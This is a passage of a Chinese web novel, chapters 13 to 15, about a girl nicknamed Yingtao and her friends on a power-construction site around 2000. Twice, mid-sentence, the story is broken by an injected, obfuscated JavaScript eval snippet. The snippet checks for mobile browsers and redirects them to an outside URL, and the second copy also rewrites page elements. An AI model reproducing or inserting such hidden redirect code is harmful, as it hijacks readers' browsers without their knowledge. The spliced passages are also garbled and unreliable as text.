蒋峤西下意识就站起来,他离开了书桌。 林其乐却不是来找蒋峤西的。她手里端着一筐热腾腾的枣面馒头,抬头对蒋政道:“蒋叔叔,妈妈让我过来给你送这个。” 蒋峤西隔着卧室的门缝,看到林其乐头发上那片黑色发卡不知什么时候不见了。 蒋政在客厅里笑道:“我就跟你爸爸提了一句,想要一个明天路上和司机当早点吃的,怎么拿这么多啊?” 林其乐对他甜甜笑道:“我妈妈蒸太多了!多给你一点。” 蒋峤西觉得奇怪:为什么林其乐这么快就恢复如初了,好像从没有听过什么难听的,让人失望的话一样。 “蒋峤西,”蒋经理在客厅喊,“你同学来了,你也不送送人家。” 两家就住隔壁,有什么需要人送的。可蒋峤西还是把卧室的门打开了。林其乐看到他,除了眼眶有点红以外,林其乐什么异样都没有。蒋峤西走过去,推开家门送林其乐回家。 今天明明是周六,可对于群山工地的职工们来说,周末往往形同虚设。 十点多了,家家都早早熄了灯,毕竟第二天一早还要上班。 蒋峤西出了家门,等到林其乐也出来,把门关上。 “樱桃。”蒋峤西说。 林其乐穿一件印有米老鼠图案的珊瑚绒外套,从台阶上走下来了。 “蒋峤西,”林其乐小声说,她走到他面前,不卑不亢的,她低头从自己衣领里找到那个琥珀,拿出来,“你觉得……这个真的是塑料做的吗?” 她还不如开口骂他。这样问,让蒋峤西更加无颜以对。 见蒋峤西不说话,林其乐低头又看了看她的“樱桃琥珀”,轻声说:“其实我觉得还挺好看的呢。” “樱桃,”蒋峤西硬着头皮说,他此前从没叫过她“樱桃”两个字,这太亲昵了,“谢谢你的礼物。” 林其乐看他。 “我刚才都是胡乱讲的。”蒋峤西说。 大年初一那天,省城总部蒋经理家来来去去,都是省内电力系统的大小人物。这些人中间,有一位带了自己的儿子过来,那个孩子叫陈明昊。 陈明昊听到蒋峤西提起“林其乐”这个名字,一时半会儿没想起来。还是蒋政说了一句:“群山工地林海风的闺女,林樱桃!” 陈明昊想起来了,提醒他父亲:“就是那个,戴一个红色塑料珠子,还当成是琥珀的那个小女孩。” 这会儿蒋峤西说:“我也不知道你的琥珀是真是假的。” 林其乐低下头了,看她的樱桃琥珀。 “是我大姑送给我的,”林其乐抬起头,对蒋峤西说,圆圆的脸颊一笑,“你觉得好看吗?” 蒋峤西点了点头。 “你真的见到陈明昊哥哥了?”林其乐问。 蒋峤西一愣。 “你们都住在总部基地大院,对不对。”林其乐说。 蒋峤西说:“我见到他了。” “他还记得我吗?” “他挺想你的。”蒋峤西说。 林其乐问:“那他为什么不给我打电话?” 蒋峤西说:“学习太忙吧。” 夜深了。林其乐坐在她家门前的台阶上,蒋峤西在她身边坐下了。 两个小孩子,说悄悄话,声音更小。 “蒋峤西,你不喜欢黑色吗?” “……” “那为什么你所有的东西都是黑色的?” “因为我哥喜欢黑色。” 也许林其乐会问,你哥是谁? 毕竟所有的人,几乎所有蒋峤西身边的人都会一次又一次地提起那个素未谋面的哥哥。 林其乐却问:“那你喜欢什么颜色?” 蒋峤西说:“我没有喜欢的颜色。” “那你现在想一个。”林其乐说。 “红色吧,”他想也没想,说,“我喜欢红色。” 13. 第 13 章 三月下旬,群山工地迎来了一场盛事。 小车班的邵司机,年纪轻轻,一表人才,与公司会计小谢姑娘喜结连理。 群山项目部经理蔡岳,给两位新人包了大红包。人人都听说蔡经理最近发了大财,人瞧着倍儿精神,上班下班都满面红光的。 余樵一家人坐在酒店大堂,帮着新人迎客。林其乐的妈妈则在后台帮林其乐梳头发,穿花童的小裙子。 “谢阿姨,”林其乐抬头,憧憬道,“你今天真好看!” 在林其乐眼中,小谢阿姨一直是工地上最漂亮的阿姨,就像小邵叔叔是最英俊潇洒的那个叔叔。 他们两个人结婚,就像电视剧里演的一样。 “樱桃今天也特别漂亮!”小谢阿姨难掩羞涩,“来,给你颗糖吃。” 林其乐作为花童,随一对新人走上了婚礼红毯。 她扎着两根马尾,穿一身白色的纱裙,头发上别一只红色的发卡,像极了新娘子的口红。 蒋峤西坐在孩子们那桌,他在余樵和蔡方元两人中间喝可乐,目光远远落在林其乐身上。 担任婚礼主持人的是公司保卫科的小李。在群山工地,但凡有工人结婚,司仪总是他。 “今天,咱们群山工地的小股神,林工家的千金林樱桃啊!也来到了现场!”小李说完了祝福新人新婚的贺词,忽然话锋一转,把话题挪到了花童林其乐的身上,“今天到场的诸位朋友,让我们鼓鼓掌啊,都沾沾蔡经理和林樱桃的光,祝大家财源广进!财运亨通!” 余班长在喜宴上喝多了酒。群山工地的年轻人结婚,他难免总是最动情的那个。邵司机和谢会计端着酒杯到他那一桌,也没忍住激动,齐声对余班长敬酒:“余哥!” 蔡经理也喝多了,他把林其乐抱起来。一向正正经经的他,极其热情地在林其乐的小圆脸上亲了一口。 “好闺女!”他喊道。 总经理激动了,旁观者都笑着鼓掌。“蔡经理,泰山旅游这月几个涨停了?”旁边有同僚兴奋问道。 “快九个了!” 林其乐被蔡叔叔抱得太高了,所有人都笑,她也高兴。等被放下来的时候,蔡叔叔煞有介事道:“樱桃!想要什么啊,说!蔡叔叔给你买!” “蔡经理,蔡经理!现在光说可没用啊!”周遭的大人们纷纷围过来,你一句我一句地起哄,给林其乐出主意,“樱桃,去找个笔让他写下来!让他按个手印!省得你蔡叔叔酒醒了赖账!” 婚礼酒宴办了近两个钟头才结束。工人们嘻嘻哈哈回家,余叔叔走路摇晃的,被人扶着回去。 林其乐走在后面,说:“余叔叔是不是又喝多了。” “没有!”余叔叔突然睁开了那双大眼,回头对林其乐说,“绝,对,没喝多!” 林其乐没想到被他听到了,笑着往爸爸身后躲。 余班长见状笑了,他弯下腰来,伸手点林其乐的鼻子:“樱桃啊,等到你长大结婚那天,你叔叔肯定喝得比今天还多!” “多,多!”新郎官邵司机在旁边扶着余哥,笑道,“等樱桃结婚的时候,咱们大伙儿一块儿喝!” 林其乐拉着爸爸的手,慢慢走在回家路上。 “爸爸,”林其乐抬起头,“我以后也会这么结婚吗?” “怎么结婚啊?”林电工说。 “像邵叔叔和谢阿姨这样结婚。” 林电工笑了,把女儿的手攥了攥:“爸爸不希望你在工地上结婚。” “为什么?”林其乐问。 “因为工人很辛苦啊。”林电工低头对她说。 电建工人的孩子,在工地出生、长大、上学,等毕业了又再度回到工地上来,和工地上的人结婚生子,早出晚归,这么日复一日,年复一年,在一座座城市间辗转,直到干不动了,才终于退休了。 林电工这一代电建人,为国家建设几乎奉献了一生。 林其乐说:“可是我喜欢工地。” 林电工听了这话,揉了揉她的脑袋瓜。 整个三月份,这支叫做“泰山旅游”的股票像一头谁也拉不住的公牛,在A股市场上一路狂奔。林其乐坐在她的小竹席上看蔡叔叔送给她的大百科全书,她抬头对蒋峤西说:“你知不知道‘莼鲈’是什么?” 蒋峤西还在算他的奥数题,正算到要紧关头,听了林其乐的话,他也不抬头:“不知道。” 林其乐便开始对照着书艰难地念:“芦叶蓬舟千重,菰菜……菰菜莼羹一梦……天地一孤啸,匹马又西风。”她想了想,对蒋峤西说,“就是《白马啸西风》吧!” 蒋峤西听得不怎么专心,稀里糊涂点头“嗯”了一声。 林其乐说:“那你想知道‘莼鲈’是什么意思吗?” 蒋峤西说:“我不想知道。” 林其乐大眼睛眨了眨:“那我也要告诉你。” 林其乐一个字一个字磕磕绊绊地念道:“莼鲈就是莼菜羹和鲈鱼脍的意思,是诗人十分思念的家乡美食——” 蒋峤西无可奈何抬起头的时候,正好看到林其乐吞了一口口水,满脸的向往。 “你吃过吗?”林其乐可怜兮兮地问他。 蒋峤西摇头。 林其乐把手里的书放下了,她把下巴搭到了膝盖上,又玩脚边的波比小精灵。 蒋峤西继续做题,就听林其乐在旁边突然来了一句:“那你以后就叫蒋莼鲈吧!” 蒋峤西在疑惑中抬起头来。 他看到林其乐还在用手指捏那个小精灵的脸,嘴里还喃喃念着它的新名字。蒋莼鲈。蒋莼鲈。林樱桃,蒋莼鲈。 § 周末的下午,余樵来林其乐家找蒋峤西踢球,正巧林其乐要去他家拿新的炸虾片,一群小孩儿一道出门。 张奶奶和余奶奶正坐在电视机前打毛衣,见林其乐进来了,两人都招呼她。林其乐问:“奶奶,炸虾片放哪儿了?” 刚问完,林其乐一低头,发现余樵那个上幼儿园的奶声奶气的小表弟余锦,正坐在两个老奶奶中间,也拿着几根毛线针在毛线里头认真地戳来戳去。 “余樵!”林其乐牵着余锦的手出了门,朝大马路上踢球的几个人影喊道,“你怎么不带余锦踢球啊,你看他居然在打毛衣!” 余樵远远听了她的话,看见余锦那个小奶球也出来了,他笑得肩膀直抖。 林其乐吃晚饭前告诉蒋峤西,她觉得余锦一定过得很不幸福:“我从来没见过余樵带余锦出来玩。做哥哥的,怎么能不带弟弟出来玩呢?是不是一家人啊。” 她把余奶奶给她的一根毛线系成一个线圈,套在自己手指头上。 没过一会儿那线就打结成乱七八糟的一团。 余樵和杜尚夜里又过来,一进林其乐的小屋,就看见蒋峤西放着奥数题不做,耐着性子陪林其乐翻一根毛线绳。 余樵当即在林其乐背上踢了一脚:“还说我让余锦织毛衣,你让蒋峤西陪你翻花绳。” 大人们也许并不明白林其乐们每天在玩些什么,不明白孩子脑袋里稀奇古怪所思所想。四月初,群山工地发生了两件小事。 第一件是,蔡经理家的公子蔡方元,半夜哭闹着居然要离家出走,因为他珍藏的写真集全被他爸爸发现了,包括那本《小学生必背古诗词一百首》,全给残忍撕成碎片,冲进下水道里去了。 第二件是,林其乐过十岁生日,她想要《狮子王》的漫画,可林电工请假去了群山市里所有书店,都没找着。 最后买了一套《西游记》的漫画回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林其乐和蒋峤西在后院喂兔子,林其乐偷偷伸头往客厅里看。一位西装革履的叔叔正端坐在她家的沙发上,头深深低着。 爸爸在客厅问:“你现在做这个,赚不赚钱?” 那叔叔说:“我走一步算一步吧。反正也下岗了,总要想办法养家糊口。” 妈妈问:“外面生意好不好做?” 那叔叔说:“我也想过去做点小买卖,但手头太紧,只能先攒点钱。” 等这位叔叔走了,林其乐才走去客厅。她看到好几纸袋的东西搁在沙发边。 每个纸袋上都印着“安利”两个字,不知是装着什么。 “你都买了他拿来的东西了,”妈妈在卧室里小声劝道,“还要借给他钱啊?” 林电工安慰道:“我跟他熟,以前很熟啊,他不会不还的。” 妈妈说:“他就是不还,你又能怎么样。到时候他欠钱的人可多了。” 林其乐吃完晚饭,端着空碗进厨房,她看到妈妈用那个安利的蓝瓶子倒洗碗精尝试着刷碗。 “爸爸,”林其乐转身问,“今天那个叔叔是谁啊?” 林电工笑道:“不认识啦?” 林樱桃摇头。 林电工说:“是你汪叔叔啊。” “当年和爸爸一同进厂的,”林电工边扫地边说,心有戚戚似的笑了笑,“汪叔叔下岗啦,没有工作了,你要是碰见他,要好好叫叔叔。” 林樱桃问:“为什么会下岗?” 她每次问“为什么”,爸爸总能给她几句答案,从不敷衍。可这时候爸爸却沉默了。他说:“樱桃,你和峤西写作业去吧。” 14. 第 14 章 林其乐问余樵,“下岗”是什么意思。 余樵说,“下岗”就是没有国家给的工作了:“秦野云他爸不就下岗了吗。” 林其乐想了一会儿:“那让汪叔叔也来工地开一个小卖部不行吗。” “我爸说,秦叔叔情况特殊,当时是工地特别照顾,才留下的,”余樵说,“而且工地已经有一个小卖部了,不可能再开一个,只能说汪叔叔运气不好吧。” 运气不好。林其乐想。“运气”真是个残酷的词。 “我爸也借给他钱了,”余樵说,“不知他什么时候再来借第二次。” 汪叔叔第一次来群山工地,是六月份的事。到七月份,他给林电工打电话,说他人已经到广西了,还做成了第一笔小买卖。 “林哥!”汪叔叔在电话里喜不自胜,一改那一日来林家时的颓丧,“多谢你和嫂子那天借我那笔钱,连本带利息,连那套我那个洗碗精的钱,下星期回群山我一并都还给你!” 他太高兴了。林电工听到了电话,还有点懵。 林电工问:“你真挣着钱了?”又说:“不用,不用利息,咱们哥俩算什么利息啊。洗碗精的钱也不用给。你嫂子说,你那个洗碗精还挺好用的。” 汪叔叔在电话里道:“林哥,你就别推了。你和嫂子在工地上成天累死累活挣那点儿钱,我还不知道?干电建的,日子过得是又累又难。我从广西给嫂子买了套进口化妆品,就当为上回突然找你们借钱,赔个不是!” 汪叔叔在广西挣到钱了,从一个谁看他都倒霉的下岗职工,摇身一变成了拿大哥大、开小汽车的正经商人。林其乐坐在路边的暖气管道上,喝着葡萄汁,看蒋峤西和余樵他们踢足球。身后来来往往的电建工人们,每个人都在谈论汪叔叔的事。 蒋峤西踢了一会儿球,出了汗了。他索性到林其乐身旁坐下。 “你没带水?”他问。 林其乐摇了摇头,看蒋峤西连睫毛上都有汗,她把手里的葡萄汁递给他。 蒋峤西接过去咕嘟咕嘟喝,把剩下的半瓶都喝光了。 他们一行小朋友去工地小卖部买水,还没进门呢,就听见小卖部里有人说话。 秦叔叔问:“他赚了多少钱?” “不知道,”那个来买烟的客人说,“听说啊,他做了这一趟买卖,回来就要去省城买楼了!” 林其乐走进这家阴暗闭塞的小卖部里。之前余樵说,秦叔叔当年情况特殊,是“运气好”,才能在工地上承包这么一间小卖部。 可林其乐看秦叔叔的情形,怎么也不像运气很好。 建筑工程是一门危险的行当,每年总要死伤成百上千的人。 秦叔叔就是其中一位,他受过工伤,左腿落下了残疾,不仅下了岗,家庭也破碎了。 如果不是余樵的爸爸从中说了许多好话,蔡叔叔帮开了方便之门,秦叔叔恐怕连留在工地上开小卖部的机会都没有。 秦叔叔一直想治好他的腿,想回到岗位上工作。他每两个星期去医院做一次诊疗,花去了许多积蓄,可就是治不好。 到林其乐认识他的时候,他已经不去医院了。他每天学着群山地方上的老百姓,自己练气功治病。 快放暑假的一天,汪叔叔“衣锦归乡”了。他开的车就停在林家附近的路口,汪叔叔穿一身棕色西装,手里也不再提什么安利产品了,改提茶叶和进口化妆品。他在林其乐家吃了顿午饭。 林其乐手捧着一大块荔浦芋头坐在家门口啃,这也是汪叔叔从广西带来的。妈妈在屋里叫她,说芋头又蒸好一些,让她端去给各叔叔阿姨家都分一点。 汪叔叔说:“林哥,我之前跑了几个工地借钱,说实话,当年那么多伙计,肯借给我钱的就只有你们几位老哥。我已经在广西摸透一点门道儿了,你看工地上这条件,砖瓦平房,你和嫂子带着樱桃,干一辈子也就这样了,樱桃还这么小,你舍得让她以后——” 林电工犹豫道:“你是想……” 汪叔叔说:“我是想,我之后在广西做买卖,也需要人手!别的人我还不信任,不如咱们自家人!你和余哥,人品我是绝对信得过!你们是想在工地上苦干一辈子,还是咱们哥几个一块儿出去闯闯?” 林其乐端着荔浦芋头往蔡方元家走,听到蔡方元的妈妈在门里说:“樱桃说买泰山旅游,结果就你买了,林海风他自己没买?” 蔡叔叔叹息道:“没有。所以我才觉得有点不好意思。” 蔡方元妈妈直笑:“这个林海风,亏都让他吃了,好不容易生个闺女挺机灵的,他还沾不着光!” 汪叔叔吃完了饭,要走了。妈妈说:“樱桃,过来送送汪叔叔。” 林其乐走过去,谢谢汪叔叔送给她的玩具和进口书包。 汪叔叔摸她的头发,抬头道:“林哥,嫂子,你们什么时候想通了,就给我打电话!” 那天夜里,林其乐在小屋睡觉。隔着大衣柜,她听到爸爸和妈妈一直在小声讨论些什么。 妈妈轻声叹气,而爸爸时不时地笑,在宽慰她。 半夜林其乐醒了,发现爸爸还没有睡着。 林电工坐在床边,借着一盏小灯,正看一本旧书。见女儿起床了,他问:“有蚊子?” 林樱桃摇摇头,走到了爸爸身边。 爸爸看的书叫《荒原狼》,书脊贴了工人图书馆的标签。林樱桃坐到他怀里,跟着看,看了半句话就开始犯困。 第二天一早,林电工夫妻俩又起很早去上班,林其乐即将面临期末考试,爸爸让她考试前多看看课本,不要光顾着玩。 “爸爸,”林其乐问,“你也要去广西吗?” 林电工在脖子上挂好了工牌,听了这话,他蹲下身来。 “爸爸不去,”林电工对她说,眼尾垂了垂,有点歉疚似的笑,“樱桃,最近零花钱够不够花?” “够花。”林樱桃回答。 林电工笑着点头。 林樱桃说:“爸爸,我们晚上吃南京板鸭好不好呀。” “好啊,”林电工一口答应下来,“今天下了班去买,就是不知道那个板鸭师傅他来不来。” 林其乐牵着爸爸的手,一直走到了路口,才和她的小伙伴一起去上学了。 § 2000年的暑假,蒋峤西不打算回省城去。他计划到香港的堂哥家住一阵子,之后就回群山市。 他走了以后,林其乐就变得无所事事,和余樵他们在一块儿玩,也总提不起精神。 她在家看《西游记》的漫画,从午饭看到晚饭,到了夜里,哭得上气不接下气。林电工举着听筒叫她,说峤西从香港打电话来。 林其乐抹去脸上的眼泪,说话时仍掩盖不了哭腔。 “孙悟空他师傅不要他了……”林其乐对着电话哽咽道。 蒋峤西在香港那边沉默了,说:“你才刚开始看啊。” “你都看完了?”林其乐问。 蒋峤西“嗯”了一声。 “他以后会变得很厉害。”他说。 “真的吗?”林其乐问。 “他是齐天大圣,”蒋峤西说,“上天入地,谁也不再是他的对手了。” 蒋峤西说,他会从香港给林其乐带礼物回去,让林其乐别再哭了。林其乐听了这话,终于破涕为笑。 这是蒋峤西第一次打电话来。隔天,林其乐一早起床又看《西游记》,她没看两句,突然想起了蒋峤西。 林其乐坐在凳子上抱着电话机,往香港拨蒋峤西留给她的堂哥家的电话号码。 对面一接起来,就是蒋峤西又困又疲惫的声音:“喂?” 林其乐愣了愣,她不知道蒋峤西为什么一起床就是这种声音。“蒋峤西!”她叫他。 蒋峤西则如同见了鬼,瞬间就把电话给挂了。 林其乐不明所以,又往香港打了一次,没有人接,她只好不打了。 蒋峤西说他八月初就回群山。林其乐每天在家盼着八月,做什么事都心不在焉。 七月末的一天,林电工很高兴,因为蔡经理说,省城总部分给林电工夫妻俩的房子终于落实下来了。 那是七月二十九日。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236593|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林樱桃坐在爸爸腿上,看茶几上铺开的省城总部小区地图。蔡叔叔在旁边拿笔圈来圈去,告诉林樱桃一家人,剩下的还有哪些房子位置最好。 “余哥挑过了吗?” “早就挑了,”蔡叔叔说,“就差你们家了。赶紧的,不然下个工地又来抢了。” 林电工问:“樱桃,你想住几号楼?” 林樱桃也不知道,她问:“蒋峤西住几号楼?” 蔡叔叔在旁边笑了:“他家住干部楼,和你家隔一条马路。” 林樱桃听了,点了点头,说:“那我住哪儿都行。” 她去后院喂小兔子,听到蔡叔叔在客厅里小声道:“樱桃长大了,是小姑娘了。” “长大什么啊,”妈妈直笑,“小孩子家家,胡说八道的。” 蔡叔叔说:“娟子,你们看情况,稍微管管她……” 林其乐晚上睡前,在日记本上又划去了一天。马上就是七月三十日了,蒋峤西是不是快要回来了? 也许是日思夜想,总想起他。林其乐半夜睡着觉,被耳边咚咚的声音吵醒。 那声音很轻,却很有规律,一下一下,敲在林其乐床边那扇被万年青叶片遮掩住的小窗户上。 林其乐掀开窗帘,揉着眼往外望。她穿着睡裙转身下床,踩着拖鞋,绕过了爸爸妈妈睡的大床边,走进客厅。 她打开外面的门锁。 群山工地已经进入了后半夜,蒋峤西穿着他夏天惯穿的黑色短裤,黑色短袖衬衣,他手里抱了个盒子,就站在林其乐家门外。 林其乐听到了树上的蝉鸣,还有附近某家人打鼾的声音。 “你回来了?”林其乐问。 蒋峤西看了林其乐的脸,又看林其乐背后,他问:“叔叔阿姨都睡了?” 林其乐轻轻关了家门,蹑手蹑脚走过了爸爸妈妈床边,进到自己的小卧室里。 她把床头的台灯拧开了,借着微弱的光,她接过蒋峤西手中的玩具盒子。 “这是送给我的吗。”她看盒子里的芭比娃娃。 “这是我堂哥给你的。”蒋峤西也在床边坐下了。 林其乐刚好奇地瞧那娃娃,又见蒋峤西从他裤兜里拿出一个更小的盒子来。 是一盒音乐磁带。 “这是我给你的。”他说。 林其乐放下娃娃,拿磁带过来看。 她从没见过封面上这位女歌手。 “为什么送给我这个?”她问。 蒋峤西的声音很轻,也因为夜晚很静,便显得清晰,清晰得林其乐甚至能听到他的呼吸声。 “我在香港听到她的一首歌,”他说,“突然想起你了。” “为什么想起我?”林其乐问。 “我也不知道。” 卧室里有蚊子在叮人。林其乐坐进了床里,把蚊帐帘子放下来,蒋峤西也跟着她坐进了蚊帐。 林其乐的头发没有扎成马尾,弯弯地披在肩上。她从床头拿过随身听,把里面听到一半的磁带拿出来,然后拆开蒋峤西送给她的这盘,放进去。 蒋峤西靠过来了,林其乐从他身上闻到一股很淡的香味,似乎是男士沐浴露的青草地味道。 蒋峤西拿过林其乐的一只耳机,塞到他自己耳朵里。 “好像是第三首。”他拿过随身听,直接按下快进。 林其乐关掉床头灯,在枕头上躺下了。她往里面让了让,蒋峤西便在她身边也躺下。 前奏是钢琴声。林其乐展开歌词本贴在眼前看,没有光,她隐隐约约能看清这个叫做孙燕姿的新人女歌手的照片。林其乐问:“蒋峤西,香港好吗?” “好。”蒋峤西在黑暗中小声说。 “很好玩吗?”林其乐问。 “不是好不好玩的事。” “那是哪里好呢?”林其乐问。 蒋峤西不说话了,也许是被林其乐的问题问烦了,也许他也不知该怎样回答。他挤在林其乐身边,挤在这小小的群山市,小小的床上。那女歌手一直在唱歌,蒋峤西听着听着,慢慢把眼睛闭上了。 15. 第 15 章 九月份,群山市中能电厂小学开学了。 五年级小学生林其乐在前头带路,和四个男生浩浩荡荡,又往那座大山里进发。 可山路的尽头仍然没有桥,没有路。林其乐噘了噘嘴,她红色的皮鞋踩到了悬崖边上。 时隔一年,为什么还是过不去呢? “为什么没有人在这里修一座桥?”林其乐问。 余樵说:“你来修吧。” 林其乐抬起头,望向悬崖对面,那充满诱惑力的未知旅途。 “你们说,要是我们将来在这儿修一座桥,要叫什么桥好呢?”林其乐问。 蒋峤西是第一次徒步来到大山深处。从小到大,他从未参加过什么夏令营,也没经历过春游、秋游,很少去到野外,接触自然。 他有些出神了,抬头望那些高至天顶的树冠。 “蒋峤西,你说叫什么桥好?” “都行。”蒋峤西轻声道。 林其乐不解:“难道叫‘都行桥’?” 杜尚蹲下身,在一棵树下拨弄松针和落叶,他说:“你们看!这儿有蘑菇!” 蔡方元一屁股坐在了树下,他还在翻看手里崭新崭新的豆豆写真书——这是蒋峤西从香港给他带来的,这回他一定要藏好了,让谁也找不着。 蒋峤西不仅给林、蔡二人带了礼物,还给杜尚买了一盘I Yah,给余樵买了奥尼尔的可动人偶。 教导主任站在门卫室里,翻看学生名册。他嘴里骂骂咧咧的:“新来的‘四冠王’也跟着林樱桃跑了?” 林其乐等五个小学生,双手双脚趴在水泥地上,从门卫室前偷溜着手脚麻利爬进校门。蒋峤西很不习惯这么做,被林其乐抓住了手,硬拽着溜回学校。 林其乐上五年级了,她个头又蹿高了些,对着镜子看,有一双小长腿了。林电工给她买了一辆自行车,又买了台复读机,让她上学之余也好好学学英语。 林其乐不爱学英语,只想学骑自行车。余樵老早就会骑了,杜尚那个笨蛋摇摇晃晃也骑得差不多。 第一次试骑,林其乐蹬了没两下就连人带车翻倒在马路边。她的膝盖擦破了,伤口沾了土,还有血。林其乐的脸皱成一团,她在蔡方元的笑声中坚持着站起来,扶起自己的车,第二次坐上去。 蒋峤西坐在路边看蔡方元收集的小浣熊水浒卡,他抬起头,瞧见林其乐裙子下面的腿微微打哆嗦,一看就很疼。林其乐把脚踩在车蹬上,认真扶住了车把,一鼓作气,又要开始骑车了。 蔡方元扬起手中的卡牌:“我有三张吴用,全是金卡!想要吧,你挑一张!” 他看着蒋峤西在身边“噌”的一下子站起来了。 林其乐又没骑稳,蒋峤西还是慢了一步,差一点就能扶住她的车把了。 这一下就不是林其乐自己摔倒了,蒋峤西被她一下子扑坐在地,还有自行车前面翘起的那支粉红色车灯,直冲蒋峤西的额头就过来了,幸好他把头一扭,不然划破鼻梁都有可能。 整个群山工地,一时就听不见别人声音了,每条街都回荡着林其乐的号啕大哭。 林电工下班回家,瞧着自家闺女还坐在门口台阶上一抽一抽的。蒋峤西的额头已经被职工医院的护士阿姨搽过了碘酒,贴了创可贴,什么事也没有了。 “会……”林其乐抽噎着,哭得直咳嗽,“会不会毁容……” 蒋峤西说:“是我毁容,又不是你毁容。” 那辆罪魁祸首就在门口停着,连摔了两次,车链子都掉下来了。林电工安慰了樱桃一会儿,然后从家里翻出工具箱,蹲到了车前去修车。 林其乐中午吃完饭,又要去学车。林电工给她调低了座位,林其乐扶着坐上去,两脚踩住了地。 一开始林电工扶着车把,几乎是抱着女儿往前走的,慢慢地,他放开了护在樱桃身后的手。 等他把车把也松开的时候,林其乐真的会骑了。她飞一般绕过了工人俱乐部前的广场,她的屁股离开了座位,两条腿逐渐伸直了,如有神助,踩着自行车飞快往前骑。 蒋峤西走到路边的时候,看到的就是这一幕。 林其乐骑得越来越快,她天生爱闯荡,天不怕地不怕。一辆自行车从她身后追上来了,林其乐偏头一看,不是别人,居然是卫庸那个小混混。 卫庸说:“林樱桃,你快撞墙上了!” “要撞也是你先撞到墙上!”林其乐喊道。 她两根马尾辫在风中横漂,连裙摆也扬起来了。林其乐一瞬间骑过了爸爸和蒋峤西面前,反倒是卫庸按住了刹车,在林电工面前一下儿停住。 “林叔叔。”他眼皮混不吝地一抬,还挺有礼貌地叫了一声。 又瞥了旁边的蒋峤西一眼,卫庸骑上车子就走了。 蒋峤西从没见过哪个父亲,是像林电工对林其乐这样放任自由。林其乐一学会了骑车,就疯一样地骑,林电工既不斥责,也不干涉,他在放纵她的天性。这种放纵有时会让人受伤,但林其乐——她似乎是不畏惧这些的。 直到林其乐骑累了。她从车上下来,兴奋喊:“爸爸!我会骑车了!” 林电工便走过去,带她一起回家。 蒋峤西课间问余樵,那个卫庸是谁。 余樵说:“他惹你了?” “没有。”蒋峤西说。 他只是回忆起一年前刚来到这里时,林其乐对他有过的忠告。 而那天他看到,卫庸停下车来,专程和林叔叔问好。 余樵说:“蔡方元和杜尚刚转学过来那会儿,都被卫庸欺负过。林樱桃因为这,成天和他打架。” 蒋峤西很意外。 前排的蔡方元课间又在看写真书了。 蒋峤西不觉得仅凭林其乐那个身板,能打得过卫庸。 余樵说这些事的时候,像在说别人的事,是纯粹与他自己无关的事。余樵抬起眼,瞥见林樱桃又在课桌底下和秦野云打架。余樵突然叫道:“秦野云。” 秦野云正捏着拽林其乐的脸,猛一听见余樵叫她,她回过头。 余樵说:“我爸让我问问你,秦叔叔最近怎么样了。” 秦野云放开了林其乐,坐到余樵身边来。她虽然也只有十岁,但一看就比林其乐更像个“女孩”。她的指甲上有斑驳的指甲油,她还会用大人的卷发棒,给自己烫卷发。 “我爸没怎么样,”秦野云看着余樵,说,“挺好的啊。” 余樵说:“他现在在家站得起来吗?” 秦野云想了想,好像她根本没留意过这些。“你到底是想和我说话,还是想帮林樱桃啊?”她凶神恶煞拍着桌子质问余樵。 这是九月份的事。在蒋峤西印象里,余樵是第一个注意到秦野云的爸爸“站不起来”的。毕竟连成天去小卖部买零食的林其乐也只是说:“秦叔叔每天都在柜台后面坐着,我没见他站起来过。” 上了五年级,林其乐和秦野云之间的“斗争”似乎也从简单的打架上升到了更神秘的层面。 蒋峤西坐在竹席子上做着题,就听林其乐在旁边吧唧嘴:“蒋峤西,看我,你快看我!” 蒋峤西一抬头,登时被吓了一大跳。 林其乐嘴上涂了厚厚一层口红。那红太明,太艳,林其乐又不会涂,真叫涂得“满嘴都是”。 “好看吗?”林其乐星星眼看他。 蒋峤西摇了摇头。 林其乐不高兴地噘起嘴来。不噘还好,这一噘嘴,红的面积更多了。 她偷偷拿了妈妈的口红,好好的一管,让她涂掉了小半管去。“秦野云总骂我土。”林樱桃说。 蒋峤西说:“你不土,你擦了吧。” 林樱桃说:“真的吗?”于是拿过纸擦自己的嘴。 她涂得乱七八糟,这么擦,更乱七八糟,本来就红的嘴唇,擦得更红。林其乐用手背在自己嘴上抹来抹去。 蒋峤西在旁边看,看她抓瞎的动作,看她脸蛋上沾到的口红色。蒋峤西放下手里的笔,他手腕上戴着那块黑色的腕表,手指上还沾着钢笔墨水,这么伸过去了。 他的大拇指沿着林其乐的下嘴唇,从左侧抹到了右侧。他的手一碰到林其乐,林其乐便睁着大眼看他,不乱动了。 “干净了吗?”林其乐问。 蒋峤西额头上早就没有创可贴了,可还有一道细细的疤。只有离得很近,林其乐才能看清楚。 蒋峤西的手心在这时捂过来了,捂在她的嘴上,她便安静了。蒋峤西的手心在她嘴唇上按着蹭了过去。 “干净了。”蒋峤西说。 大人们还没回家。林其乐爬进蚊帐,和蒋峤西一块儿听磁带。 不是别人的磁带,还是蒋峤西上次送给她的那盘新人女歌手的专辑。自从爸爸给她买了新复读机,林其乐就不用随身听了。 她趴在床上,小腿在后面翘,戴着一只耳机问:“你为什么不买那个……那个莱叔叔的磁带送给我?” 蒋峤西头倚在林其乐枕头上,闭着眼睛,像在休息,他说:“你要那个干什么。” 林其乐说:“我没听过啊。” 蒋峤西睁开了眼。 林其乐从没听过蒋峤西唱歌,那是第一次,她听到蒋峤西随口给她哼唱了几句。 Like a bird on the wire, Like a drunk in a midnight choir, I have tried in my way to be free. 如果我曾不友善,但愿你能试着释怀; 